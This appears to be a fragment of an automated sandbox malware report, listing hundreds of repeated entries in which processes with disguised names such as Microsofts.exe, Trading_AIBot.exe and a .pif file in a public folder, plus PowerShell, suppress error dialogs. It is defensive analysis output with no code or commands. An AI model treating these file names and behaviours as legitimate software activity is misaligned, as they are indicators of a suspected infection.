Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\rpkhzpuO.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Trading_AIBot.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsofts.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
